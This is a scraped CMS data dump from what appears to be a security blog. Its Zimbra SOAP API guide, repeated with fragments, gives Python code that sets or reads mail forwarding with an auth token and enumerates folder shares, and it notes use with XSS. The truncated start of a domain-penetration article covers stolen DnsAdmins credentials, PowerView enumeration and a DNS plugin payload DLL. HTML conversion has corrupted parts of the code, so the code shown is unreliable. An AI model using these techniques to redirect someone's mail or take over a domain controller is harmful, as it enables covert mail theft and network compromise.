returned:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>{\"Header\":{\"context\":{\"session\":{\"id\":\"123\",\"_content\":\"123\"},\"change\":{\"token\":151},\"_jsns\":\"urn:zimbra\"}},\"Body\":{\"BatchResponse\":{\"GetFolderResponse\":[{\"folder\":[{\"id\":\"2\",\"uuid\":\"68dd08c1-26ea-4460-9716-14eee9103a45\",\"deletable\":false,\"name\":\"Inbox\",\"absFolderPath\":\"\u002FInbox\",\"l\":\"1\",\"luuid\":\"0e366bb5-f76c-40ce-9a92-28def5720d67\",\"f\":\"ui\",\"u\":14,\"view\":\"message\",\"rev\":1,\"ms\":147,\"webOfflineSyncDays\":30,\"activesyncdisabled\":false,\"n\":14,\"s\":24088,\"i4ms\":112,\"i4next\":273,\"acl\":{\"grant\":[{\"zid\":\"f87692f9-0ab9-441d-9870-ef5b6dd6f375\",\"gt\":\"usr\",\"perm\":\"r\",\"d\":\"test1@test.com\"}]}}],\"requestId\":\"0\",\"_jsns\":\"urn:zimbraMail\"}],\"_jsns\":\"urn:zimbra\"}},\"_jsns\":\"urn:zimbraSoap\"}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>From the above content, it can be seen that the relevant request is GetFolderRequest\u003C\u002Fp>\u003Cp>View the usage of GetFolderRequest: https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002FzimbraMail\u002FGetFolder.html\u003C\u002Fp>\u003Cp>Based on previous accumulation, this can also be achieved through the Zimbra SOAP API by sending a GetFolderRequest and filtering the returned content\u003C\u002Fp>\u003Cp>Example of data content for file sharing in the inbox:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cfolder i4ms=\"201\" rev=\"1\" i4next=\"282\" f=\"ui\" ms=\"147\" deletable=\"0\" l=\"1\" uuid=\"68dd08c1-26ea-4460-9716-14eee9103a45\" n=\"16\" luuid=\"0e366bb5-f76c-40ce-9a92-28def5720d67\" activesyncdisabled=\"0\" absfolderpath=\"\u002FInbox\" view=\"message\" s=\"29224\" u=\"16\" name=\"Inbox\" id=\"2\" webofflinesyncdays=\"30\">\u003Cacl>\u003Cgrant zid=\"f87692f9-0ab9-441d-9870-ef5b6dd6f375\" perm=\"r\" d=\"test1@test.com\" gt=\"usr\">\u003C\u002Fgrant>\u003C\u002Facl>\u003C\u002Ffolder>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>In program implementation, if the character \u003Cacl> exists in the returned result, it indicates the presence of file sharing, and the corresponding data can be extracted\u003C\u002Facl>\u003C\u002Fp>\u003Cp>Implementation code example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getshare_request(uri,token):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cgetfolderrequest xmlns=\"urn:zimbraMail\"> \u003Cbr>         \u003C\u002Fgetfolderrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    try:\u003Cbr>        r=requests.post(uri+\"\u002Fservice\u002Fsoap\",headers=headers,data=request_body.format(token=token),verify=False,timeout=15)\u003Cbr>        if r.status_code == 200 and '\u003Cacl>' in r.text:\u003Cbr>            print(\"[+] Folder Share\")\u003Cbr>            pattern_name = re.compile(r\"\u003Cfolder(.*?)\u003C folder=\"\">\")\u003Cbr>            folders = pattern_name.findall(r.text)\u003Cbr>            for i in range(len(folders)):\u003Cbr>                if '\u003Cacl>' in folders[i]:\u003Cbr>                    pattern_name = re.compile(r\"name=\\\"(.*?)\\\"\")\u003Cbr>                    name = pattern_name.findall(folders[i])\u003Cbr>                    pattern_name = re.compile(r\"\u003Cacl>(.*?)\u003C\u002Facl>\")\u003Cbr>                    acl = pattern_name.findall(r.text)\u003Cbr>                    print(\"    \" + name[len(name)-1] + \":\")\u003Cbr>                    print(\"    \" + acl[0])\u003Cbr>        else:\u003Cbr>            print(r.status_code)\u003Cbr>            print(r.text)\u003Cbr>            print(\"[-] No Folder Share\")        \u003Cbr>        \u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003C\u002Facl>\u003C\u002Ffolder(.*?)\u003C>\u003C\u002Facl>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Example of returned result:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Inbox:\u003Cbr>\u003Cgrant zid=\"f87692f9-0ab9-441d-9870-ef5b6dd6f375\" perm=\"rwidx\" d=\"test1@test.com\" gt=\"usr\">\u003C\u002Fgrant>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>When deleting folder sharing, you need to fill in the zid and the number 2 corresponding to Inbox\u003C\u002Fp>\u003Ch2>0x05 Open Source Code\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>New code has been uploaded to GitHub at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>Added the following four features:\u003C\u002Fp>\u003Cul>\u003Cli>AddForward: Add email forwarding\u003C\u002Fli>\u003Cli>GetForward: View email forwarding\u003C\u002Fli>\u003Cli>GetShare: View folder sharing\u003C\u002Fli>\u003Cli>RemoveForward: Clear email forwarding settings\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article expands the Zimbra SOAP API calling methods, adding four practical features. The implementation methods and approaches can also be tested on XSS vulnerabilities.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will further expand the functionality of the open-source code Zimbra_SOAP_API_Manage, implementing email forwarding by modifying configurations through the Zimbra SOAP API, and sharing development details.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Adding email forwarding\u003C\u002Fli>\u003Cli>Viewing email forwarding configurations\u003C\u002Fli>\u003Cli>Viewing folder sharing configurations\u003C\u002Fli>\u003Cli>Open-source code\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Adding Email Forwarding\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Zimbra supports forwarding received emails to another mailbox. The operation method via the web interface is as follows:\u003C\u002Fp>\u003Cp>After logging into the mailbox, navigate to Preferences -&gt; Mail, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019774188_0_16f580ada3-1.png\">\u003C\u002Fp>\u003Cp>After setting up the forwarding email, click Save\u003C\u002Fp>\u003Cp>If you want to forward to multiple email addresses, you can use , to separate them. An example of forwarding to two email addresses simultaneously: test1@test.com,test2@test.com\u003C\u002Fp>\u003Cp>Next, analyze the implementation process by packet capture, and then use a program to implement this functionality\u003C\u002Fp>\u003Cp>Example of SOAP format obtained from packet capture:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Csoap:body>\u003Cbr>\u003Cbatchrequest xmlns=\"urn:zimbra\" onerror=\"stop\">\u003Cbr>\u003Cmodifyprefsrequest xmlns=\"urn:zimbraAccount\" requestid=\"0\">\u003Cbr>\u003Cpref name=\"zimbraPrefMailForwardingAddress\">test1@test.com\u003C\u002Fpref>\u003Cbr>\u003C\u002Fmodifyprefsrequest>\u003Cbr>\u003C\u002Fbatchrequest>\u003Cbr>\u003C\u002Fsoap:body>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Implementation code example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def addforward_request(uri,token):\u003Cbr>    print(\"[*] Input the mailbox to forward:\")\u003Cbr>    print(\"    Eg :test1@test.com,test2@@test.com\")\u003Cbr>    mailbox = input(\"[&gt;]: \")\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>            \u003Cbatchrequest xmlns=\"urn:zimbra\" onerror=\"stop\">\u003Cbr>                \u003Cnooprequest xmlns=\"urn:zimbraMail\" requestid=\"0\">\u003Cbr>                \u003Cmodifyprefsrequest xmlns=\"urn:zimbraAccount\" requestid=\"1\">\u003Cbr>                    \u003Cpref name=\"zimbraPrefMailForwardingAddress\">{mailbox}\u003C\u002Fpref>\u003Cbr>                \u003C\u002Fmodifyprefsrequest>\u003Cbr>            \u003C\u002Fnooprequest>\u003C\u002Fbatchrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    try:\u003Cbr>        r=requests.post(uri+\"\u002Fservice\u002Fsoap\",headers=headers,data=request_body.format(token=token,mailbox=mailbox),verify=False,timeout=15)\u003Cbr>        if r.status_code == 200:\u003Cbr>            print(\"[+] Add success\")\u003Cbr>        else:    \u003Cbr>            print(r.status_code)\u003Cbr>            print(r.text)        \u003Cbr>        \u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>To clear the email forwarding settings, simply set the email address to empty\u003C\u002Fp>\u003Ch2>0x03 View Email Forwarding Configuration\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Before adding email forwarding, we typically need to first obtain the email forwarding configuration.\u003C\u002Fp>\u003Cp>Through packet capture, it was discovered that when accessing the web homepage, if email forwarding settings exist, the returned data will include the following additional content:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\"zimbraPrefMailForwardingAddress\":\"test@test.com\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If email forwarding settings do not exist, the returned data will not contain the string zimbraPrefMailForwardingAddress.\u003C\u002Fp>\u003Cp>In terms of program implementation, accessing the web homepage requires adding a Cookie, and then filtering out the specified content using regular expressions.\u003C\u002Fp>\u003Cp>Example implementation code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getforward_request(uri,token):\u003Cbr>    try:\u003Cbr>        headers[\"Cookie\"]=\"ZM_AUTH_TOKEN=\"+token+\";\"\u003Cbr>        r=requests.get(uri,headers=headers,verify=False,timeout=15)\u003Cbr>        if r.status_code == 200 and 'zimbraPrefMailForwardingAddress' in r.text:\u003Cbr>            print(\"[+] Forward\")\u003Cbr>            pattern_name = re.compile(r\"\\\"zimbraPrefMailForwardingAddress\\\":\\\"(.*?)\\\"\")\u003Cbr>            name = pattern_name.findall(r.text)\u003Cbr>            print(\"    \" + name[0])\u003Cbr>        else:           \u003Cbr>            print(r.status_code)\u003Cbr>            print(\"[-] No Forward\")\u003Cbr>        \u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 View Folder Sharing Configuration\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The previous article \"Zimbra-SOAP-API Development Guide 4 - Email Export and Folder Sharing\" lacked a method for viewing folder sharing configuration. This article serves as a supplement.\u003C\u002Fp>\u003Cp>Analyze through packet capture\u003C\u002Fp>\u003Cp>Example of URL sent: https:\u002F\u002F\u003Curl>\u002Fservice\u002Fsoap\u002FBatchRequest\u003C\u002Furl>\u003C\u002Fp>\u003Cp>Example of content sent:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>{\"Header\":{\"context\":{\"_jsns\":\"urn:zimbra\",\"userAgent\":{\"name\":\"ZimbraWebClient - GC103 (Win)\",\"version\":\"8.8.12_GA_3844\"},\"session\":{\"_content\":123,\"id\":123},\"account\":{\"_content\":\"admin@test.com\",\"by\":\"name\"},\"csrfToken\":\"0_71c4fc5d29c57ec1863d1630a77bb4834f0cd67c\"}},\"Body\":{\"BatchRequest\":{\"_jsns\":\"urn:zimbra\",\"onerror\":\"continue\",\"GetFolderRequest\":[{\"_jsns\":\"urn:zimbraMail\",\"folder\":{\"l\":\"2\"},\"requestId\":0}]}}}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Example of content returned:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>{\"Header\":{\"context\":{\"session\":{\"id\":\"123\",\"_content\":\"123\"},\"change\":{\"token\":151},\"_jsns\":\"urn:zimbra\"}},\"Body\":{\"BatchResponse\":{\"GetFolderResponse\":[{\"folder\":[{\"id\":\"2\",\"uuid\":\"68dd08c1-26ea-4460-9716-14eee9103a45\",\"deletable\":false,\"name\":\"Inbox\",\"absFolderPath\":\"\u002FInbox\",\"l\":\"1\",\"luuid\":\"0e366bb5-f76c-40ce-9a92-28def5720d67\",\"f\":\"ui\",\"u\":14,\"view\":\"message\",\"rev\":1,\"ms\":147,\"webOfflineSyncDays\":30,\"activesyncdisabled\":false,\"n\":14,\"s\":24088,\"i4ms\":112,\"i4next\":273,\"acl\":{\"grant\":[{\"zid\":\"f87692f9-0ab9-441d-9870-ef5b6dd6f375\",\"gt\":\"usr\",\"perm\":\"r\",\"d\":\"test1@test.com\"}]}}],\"requestId\":\"0\",\"_jsns\":\"urn:zimbraMail\"}],\"_jsns\":\"urn:zimbra\"}},\"_jsns\":\"urn:zimbraSoap\"}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>From the above content, it can be seen that the relevant request is GetFolderRequest\u003C\u002Fp>\u003Cp>View the usage of GetFolderRequest: https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002FzimbraMail\u002FGetFolder.html\u003C\u002Fp>\u003Cp>Based on previous accumulation, this can also be achieved through the Zimbra SOAP API by sending a GetFolderRequest and filtering the returned content\u003C\u002Fp>\u003Cp>Example of data content for file sharing in the inbox:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cfolder i4ms=\"201\" rev=\"1\" i4next=\"282\" f=\"ui\" ms=\"147\" deletable=\"0\" l=\"1\" uuid=\"68dd08c1-26ea-4460-9716-14eee9103a45\" n=\"16\" luuid=\"0e366bb5-f76c-40ce-9a92-28def5720d67\" activesyncdisabled=\"0\" absfolderpath=\"\u002FInbox\" view=\"message\" s=\"29224\" u=\"16\" name=\"Inbox\" id=\"2\" webofflinesyncdays=\"30\">\u003Cacl>\u003Cgrant zid=\"f87692f9-0ab9-441d-9870-ef5b6dd6f375\" perm=\"r\" d=\"test1@test.com\" gt=\"usr\">\u003C\u002Fgrant>\u003C\u002Facl>\u003C\u002Ffolder>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>In program implementation, if the character \u003Cacl> exists in the returned result, it indicates the presence of file sharing, and the corresponding data can be extracted\u003C\u002Facl>\u003C\u002Fp>\u003Cp>Implementation code example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getshare_request(uri,token):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cgetfolderrequest xmlns=\"urn:zimbraMail\"> \u003Cbr>         \u003C\u002Fgetfolderrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    try:\u003Cbr>        r=requests.post(uri+\"\u002Fservice\u002Fsoap\",headers=headers,data=request_body.format(token=token),verify=False,timeout=15)\u003Cbr>        if r.status_code == 200 and '\u003Cacl>' in r.text:\u003Cbr>            print(\"[+] Folder Share\")\u003Cbr>            pattern_name = re.compile(r\"\u003Cfolder(.*?)\u003C folder=\"\">\")\u003Cbr>            folders = pattern_name.findall(r.text)\u003Cbr>            for i in range(len(folders)):\u003Cbr>                if '\u003Cacl>' in folders[i]:\u003Cbr>                    pattern_name = re.compile(r\"name=\\\"(.*?)\\\"\")\u003Cbr>                    name = pattern_name.findall(folders[i])\u003Cbr>                    pattern_name = re.compile(r\"\u003Cacl>(.*?)\u003C\u002Facl>\")\u003Cbr>                    acl = pattern_name.findall(r.text)\u003Cbr>                    print(\"    \" + name[len(name)-1] + \":\")\u003Cbr>                    print(\"    \" + acl[0])\u003Cbr>        else:\u003Cbr>            print(r.status_code)\u003Cbr>            print(r.text)\u003Cbr>            print(\"[-] No Folder Share\")        \u003Cbr>        \u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003C\u002Facl>\u003C\u002Ffolder(.*?)\u003C>\u003C\u002Facl>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Example of returned result:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Inbox:\u003Cbr>\u003Cgrant zid=\"f87692f9-0ab9-441d-9870-ef5b6dd6f375\" perm=\"rwidx\" d=\"test1@test.com\" gt=\"usr\">\u003C\u002Fgrant>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>When deleting folder sharing, you need to fill in the zid and the number 2 corresponding to Inbox\u003C\u002Fp>\u003Ch2>0x05 Open Source Code\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>New code has been uploaded to GitHub at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>Added the following four features:\u003C\u002Fp>\u003Cul>\u003Cli>AddForward: Add email forwarding\u003C\u002Fli>\u003Cli>GetForward: View email forwarding\u003C\u002Fli>\u003Cli>GetShare: View folder sharing\u003C\u002Fli>\u003Cli>RemoveForward: Clear email forwarding settings\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article expands the Zimbra SOAP API calling methods, adding four practical features. The implementation methods and approaches can also be tested on XSS vulnerabilities.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",{"id":586,"alt":587,"caption":588,"updatedAt":589,"createdAt":589,"url":590,"thumbnailURL":26,"filename":591,"mimeType":34,"filesize":592,"width":593,"height":594,"focalX":38,"focalY":38,"sizes":595},1761,"docx image 1770019774188 0 16f580ada3","legacy:\u002Fuploads\u002Fdocx_image_1770019774188_0_16f580ada3.png","2026-07-24T15:37:08.355Z","\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019774188_0_16f580ada3-1.png","docx_image_1770019774188_0_16f580ada3-1.png",23309,1165,758,{"thumbnail":596,"card":597,"og":598},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"title":600,"description":576,"keywords":601,"ogImage":26,"canonicalUrl":26,"noIndex":50},"Zimbra SOAP API Email Forwarding & Folder Sharing Guide","Zimbra SOAP API, email forwarding, folder sharing, API development, Python, mailbox configuration",[],{"docs":604,"hasNextPage":50},[605,613,620,627],{"id":606,"question":607,"answer":608,"answerHtml":608,"slug":609,"keywords":610,"article":266,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":611,"createdAt":612,"_status":61},62,"What new features does the open-source code from this article add?","The open-source code, available on GitHub, adds four new features: `AddForward` to add email forwarding, `GetForward` to view forwarding settings, `GetShare` to view folder sharing configurations, and `RemoveForward` to clear forwarding. These expand the functionality of the `Zimbra_SOAP_API_Manage` project and are built on the techniques explained in the [Zimbra SOAP API Development Guide 5 - Email Forwarding](\u002Fnews\u002Fzimbra-soap-api-development-guide-5-email-forwarding) and related guides like [Zimbra SOAP API Development Guide 3 - Email Operations](\u002Fnews\u002Fzimbra-soap-api-development-guide-3-email-operations).","what-new-features-does-the-open-source-code-from-this-article-add-1777485407056","open-source, Zimbra SOAP API, GitHub, AddForward, GetForward, GetShare, RemoveForward","2026-07-23T16:03:17.944Z","2026-07-23T16:03:17.943Z",{"id":614,"question":615,"answer":616,"answerHtml":616,"slug":617,"keywords":618,"article":266,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":619,"createdAt":619,"_status":61},61,"How can I view folder sharing configurations using the Zimbra SOAP API?","You can view folder sharing configurations by sending a `GetFolderRequest` SOAP request to the `BatchRequest` endpoint. The response will contain an `acl` node with `grant` elements that list shared folders and their permissions. This technique supplements the method described in [Zimbra SOAP API Development Guide 4 - Email Export and Folder Sharing](\u002Fnews\u002Fzimbra-soap-api-development-guide-4-email-export-and-folder-sharing) and is detailed in the [Zimbra SOAP API Development Guide 5 - Email Forwarding](\u002Fnews\u002Fzimbra-soap-api-development-guide-5-email-forwarding).","how-can-i-view-folder-sharing-configurations-using-the-zimbra-soap-api-1777485406969","folder sharing, GetFolderRequest, BatchRequest, Zimbra SOAP API, ACL","2026-07-23T16:03:17.582Z",{"id":621,"question":622,"answer":623,"answerHtml":623,"slug":624,"keywords":625,"article":266,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":626,"createdAt":626,"_status":61},60,"How do I view the current email forwarding configuration programmatically?","To view the current email forwarding configuration, you need to access the Zimbra web home page with an authenticated `ZM_AUTH_TOKEN` cookie and parse the response for the string `zimbraPrefMailForwardingAddress`. If present, you can extract the forwarding address using a regular expression. This method is covered in the [Zimbra SOAP API Development Guide 5 - Email Forwarding](\u002Fnews\u002Fzimbra-soap-api-development-guide-5-email-forwarding) and builds on previous techniques from [Zimbra SOAP API Development Guide](\u002Fnews\u002Fzimbra-soap-api-development-guide).","how-do-i-view-the-current-email-forwarding-configuration-programmatically-1777485406912","email forwarding configuration, Zimbra SOAP API, regular expression, ZM_AUTH_TOKEN","2026-07-23T16:03:16.945Z",{"id":628,"question":629,"answer":630,"answerHtml":630,"slug":631,"keywords":632,"article":266,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":633,"createdAt":633,"_status":61},59,"How can I add email forwarding using the Zimbra SOAP API?","You can add email forwarding by sending a SOAP request to the Zimbra server that includes the `ModifyPrefsRequest` or a similar modification, as demonstrated in the [Zimbra SOAP API Development Guide 5 - Email Forwarding](\u002Fnews\u002Fzimbra-soap-api-development-guide-5-email-forwarding). The request should contain the `zimbraPrefMailForwardingAddress` attribute set to the desired forwarding email address. To forward to multiple addresses, separate them with commas. Clearing forwarding is done by setting the value to an empty string.","how-can-i-add-email-forwarding-using-the-zimbra-soap-api-1777485406824","Zimbra SOAP API, email forwarding, ModifyPrefsRequest, packet capture","2026-07-23T16:03:16.640Z",{"title":26,"description":26,"image":26},"2026-07-24T15:37:15.726Z","2026-07-23T16:00:57.102Z",{"id":273,"title":638,"slug":639,"description":640,"content":641,"contentHtml":648,"contentMarkdown":26,"cover":649,"author":43,"views":14,"readingTime":6,"status":45,"publishedAt":535,"seo":663,"tags":666,"qaPairs":667,"meta":697,"updatedAt":698,"createdAt":699,"_status":61},"Domain Penetration - Remote DLL Loading on DNS Server Using dnscmd","domain-penetration-remote-dll-loading-on-dns-server-using-dnscmd","Learn how to remotely load DLLs on a DNS server using dnscmd and DnsAdmins privileges for domain penetration, with exploitation steps and defense recommendations.",{"root":642},{"type":12,"format":13,"indent":14,"version":15,"children":643,"direction":24},[644],{"type":18,"format":13,"indent":14,"version":15,"children":645,"direction":24},[646],{"mode":21,"text":647,"type":23,"style":13,"detail":14,"format":14,"version":15},"\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>A method disclosed by Shay Ber, which allows remote DLL loading on a DNS server using DNSAdmin privileges in a domain environment. This is not a vulnerability but can be used as a domain penetration technique. This article will organize this exploitation technique based on personal experience, add personal insights, and provide defense recommendations in line with the exploitation approach.\u003C\u002Fp>\u003Cp>References:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fmedium.com\u002F@esnesenon\u002Ffeature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Detailed exploitation method\u003C\u002Fli>\u003Cli>Defense strategies\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Detailed Exploitation Method\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch4>Prerequisites:\u003C\u002Fh4>\u003Cp>Obtained credentials or hashes of a user in the DnsAdmins, Domain Admins, or Enterprise Admins group within the domain\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Under default configuration, not only users within the DnsAdmins group, but also users within the Domain Admins or Enterprise Admins groups can\u003C\u002Fp>\u003Ch3>1. View users in key groups\u003C\u002Fh3>\u003Cp>View all groups:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>net group \u002Fdomain\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>View users in the DnsAdmins group:\u003C\u002Fp>\u003Cp>Cannot use the net group command to view; you can use PowerView to view\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import-module .\\PowerView.ps1\u003Cbr>Get-NetGroupMember -GroupName \"DNSAdmins\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>View users in the Domain Admins group:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>net group \"Domain Admins\" \u002Fdomain\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>View users in the Enterprise Admins group:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>net group \"Enterprise Admins\" \u002Fdomain\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Obtain passwords or hashes of key users\u003C\u002Fh3>\u003Cp>Need to obtain the password or hash of any user within the DnsAdmins, Domain Admins, or Enterprise Admins groups\u003C\u002Fp>\u003Ch3>3. Prepare Payload.dll\u003C\u002Fh3>\u003Cp>Three export functions need to be defined:\u003C\u002Fp>\u003Cul>\u003Cli>DnsPluginInitialize\u003C\u002Fli>\u003Cli>DnsPluginCleanup\u003C\u002Fli>\u003Cli>DnsPluginQuery\u003C\u002Fli>\u003C\u002Ful>\u003Cp>For defining export functions, you can refer to the previously open-source project:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>Here, the export functions are declared using a .def file. The test code is as follows:\u003C\u002Fp>\u003Cp>dllmain.cpp:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>DWORD WINAPI DnsPluginInitialize(PVOID a1, PVOID a2)\u003Cbr>{\u003Cbr>\treturn 0;\u003Cbr>}\u003Cbr>\u003Cbr>DWORD WINAPI DnsPluginCleanup()\u003Cbr>{\u003Cbr>\treturn 0;\u003Cbr>}\u003Cbr>\u003Cbr>DWORD WINAPI 